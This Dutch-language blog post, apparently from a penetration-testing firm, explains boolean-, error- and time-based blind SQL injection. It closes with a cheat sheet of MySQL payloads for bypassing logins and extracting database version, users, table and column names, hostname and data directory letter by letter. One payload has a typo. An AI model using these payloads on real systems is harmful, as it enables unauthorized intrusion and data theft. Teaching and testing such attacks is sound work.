Blind SQL Injection

SQL injection is een kwetsbaarheid waarbij een aanvaller de database-query van een applicatie kan beïnvloeden. Hierdoor kan een aanvaller willekeurige informatie uit de database lezen. Maar wat als het resultaat niet direct op het scherm wordt weergegeven? Met blind SQL injections is het mogelijk om toch informatie te achterhalen.

Soms komt het voor dat de applicatie wel kwetsbaar is voor SQL-injectie, maar het resultaat niet teruggeeft. In dit geval is het voor een aanvaller moeilijker om informatie te achterhalen, omdat het resultaat niet getoond wordt. Dit noemen we blind SQL injection, omdat we de data niet kunnen zien. Het bekendste voorbeeld van een blind SQL injectie is om bij een inlogveld ' or '1'='1 in te vullen bij zowel de username als het wachtwoord. Is de applicatie lek, dan ben je ingelogd omdat 1 altijd gelijk is aan 1.

Hoe werkt een boolean based blind SQL Injection?

Afhankelijk van de response kunnen we afleiden of de check geslaagd is: we worden wel of niet ingelogd. Om deze reden noemen we dit een boolean based blind SQL injection. Omdat we bij een check kunnen bepalen of deze wel of niet slaagt, kunnen we dit in ons voordeel gebruiken. Hoewel het handig is dat we ingelogd kunnen worden, is het ook mogelijk om informatie uit de database te halen.

Het doel is verschillende responses voor “ja” en “nee” antwoorden op de vraag, die we de database over de inhoud hebben gesteld, te krijgen. Bestaat er een gebruiker met de naam “admin” in de users tabel? Bestaat de users tabel überhaupt wel? We kunnen zelfs letter voor letter de hele database enumereren. Zijn er gebruikersnamen die beginnen met een “a”? Als dit lukt met “aa”, en als dit ook lukt met “aaa”. Lukt dit niet en krijgen we een error, dan proberen we “aab”, net zo lang totdat de check slaagt en we de volgende letter kunnen proberen.

De volgende aanvallen zouden gebruikt kunnen worden:

' or 1 in (select 1 from users where username like 'a%');--  #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'a%');-- #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'aa%');-- #ingelogd, dus gebruiker met aa% bestaat
' or 1 in (select 1 from users where username like 'aaa%');-- #foutmelding, dus geen gebruiker met aaa
' or 1 in (select 1 from users where username like 'aab%');-- #foutmelding, op naar aac

Zoals je ziet zijn er vrij veel pogingen nodig om informatie te achterhalen. Voor een korte gebruikersnaam zoals “alfred” zullen we op deze manier in het uiterste geval 182 requests doen om deze te achterhalen. In de praktijk worden deze aanvallen vaak gescript, of er wordt gebruik gemaakt van SQLMap, die deze aanvallen out-of-the-box kan uitvoeren. Een andere mogelijkheid is Burp Suite, waar er met de Intruder snel verschillende combinaties uitgevoerd kunnen worden.

We hebben in het bovenstaande voorbeeld de aanname gedaan dat de tabel “users” bestaat en dat daar een kolom “username” in zit. Hoewel dit niet ongebruikelijk is, kan het ook iets heel anders zijn. Dit doen we op dezelfde manier:

' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "u%");--
' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "us%");--

Hoe werkt een error based blind SQL injection?

Soms geeft een kwetsbaar component in zijn geheel geen response terug, of altijd dezelfde response. In dat geval kunnen we proberen om de applicatie een andere error te laten genereren. Veel applicaties geven een andere response wanneer er een database-error plaatsvindt. We kunnen dit testen door het volgende te proberen:

' or 1=0;--
' or 1=1;--
' or 1=1/0;--

Bij de laatste poging zal de database proberen te delen door 0, wat resulteert in “Divide by zero error”. Als de applicatie bij de laatste variant een (andere) foutmelding geeft, en bij de eerdere twee niet, dan is de applicatie kwetsbaar voor een error based blind SQL injection. Ook hiermee kunnen we informatie uit de database halen. Dit doen we als volgt:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN 1/0 ELSE 1 END FROM information_schema.TABLES);

Als we nu een error krijgen, weten we dat de tabel “users” bestaat.

Hoe werkt een Time-Based Blind SQL Injection?

In sommige gevallen krijgen we geen errors terug en worden database errors netjes afgehandeld. Hierdoor kunnen we nergens uit af leiden of onze query geslaagd was. Het laatste redmiddel voor de aanvaller is dan de time-based blind SQL injection. Een aanvaller kan hiervoor testen door het volgende te proberen:

' or sleep(5);--

Als de applicatie nu pas na 5 seconden reageert, dan is deze kwetsbaar voor een time based SQL injection. De aanvaller kan nu controleren of de ‘users’ tabel bestaat op de volgende manier:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

Als de tabel bestaat, dan reageert de applicatie pas na 5 seconden en anders direct.
Eerder hebben we gezien dat we ook tabellen kunnen enumereren, dit werkt op dezelfde manier met time based SQL injections:

' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'b%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'c%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--

We herhalen dezelfde stappen als toen, waar we doorgaan op een positief resultaat. Dus als er een TABLE_NAME LIKE “a%” is gaan we kijken of er een TABLE_NAME LIKE “aa%” is, enzovoort. Uiteindelijk heb je op deze manier alle tabel namen aan de database ontfutseld, door ze letter voor letter uit de database te peuteren. Nu dat de tabel namen bekend zijn kunnen de kolom namen van een tabel op dezelfde manier worden geënumereerd.

' or 1=(SELECT CASE WHEN (TABLE_NAME = 'users' AND COLUMN_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS);--

Als de kolom namen van een tabel bekend zijn kan specifieke data uit de tabel worden opgevraagd.

' or 1=(SELECT CASE WHEN (username LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM users);--

Dit moet gedaan worden voor elke tabel, kolom, en waarde in de database om de database te kunnen reconstrueren.

Aanvallers kunnen bijna altijd informatie uit de database halen als deze kwetsbaar is voor SQL injection. Het maakt hierbij niet uit of het resultaat getoond wordt of niet. Wilt u weten of uw applicaties veilig zijn voor SQL injections? Bij de Website security check en de Pentest controleren we uitgebreid op dergelijke kwetsbaarheden.

Blind SQL injection Cheat Sheet

Hieronder staat een aantal handige cheat sheet om informatie uit de database te halen middels een blind SQL injection.

Versie van de database Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE @@version LIKE "1%")

Error based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", 1/0, 1));--

Time based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", SLEEP(5), 1))

Verschillende manieren van een comment maken SELECT 1; #comment
SELECT 1;--comment
SELECT /*comment*/1;

De huidige database gebruiker Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE user() LIKE "a%")
AND 1 in (SELECT 1 FROM DUAL WHERE system_user() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", SLEEP(5), 1))

Naam van de huidige database Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE database() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", SLEEP(5), 1))

Database namen Boolean based:
AND 1 in (SELECT 1 FROM information_schema.SCHEMATA WHERE SCHEMA_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.SCHEMATA)

Time based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.SCHEMATA)

Kolom namen Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

Tabel namen Boolean based:
AND 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.TABLES)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

Vind een table door te zoeken naar een specifieke kolom Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

IF en Case statements AND 1=(SELECT if(CONDITIE, 1/0, 1));
AND 1=(SELECT CASE WHEN (CONDITIE) THEN 1/0 ELSE 1 END FROM TABLE);

Alternatief voor speciale tekens SELECT 0x4379626572416e74; #in plaats van CyberAnt

Sleep SELECT BENCHMARK(100000,MD5('CyberAnt')); #doet tijdrovende benchmark
SELECT SLEEP(5); #wacht 5 seconden

Hostname en locatie database Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE @@hostname LIKE "a%");
AND 1 in (SELECT 1 FROM DUAL WHERE @@datadir LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", SLEEP(5) 1))

Meer informatie over onze diensten

Wilt u er zeker van zijn dat uw websites, apps of systemen vrij zijn van lekken of kwetsbaarheden? Onze experts gaan graag voor u aan de slag. Voor meer informatie over onze pentests of andere diensten kunt u vrijblijvend contact opnemen via onderstaand contactformulier. We vertellen u graag wat we voor u kunnen betekenen.

    Contact

    Randstad 22 147
    1316 BM Almere

    info@cyberant.com
    +31 (0)85 047 1590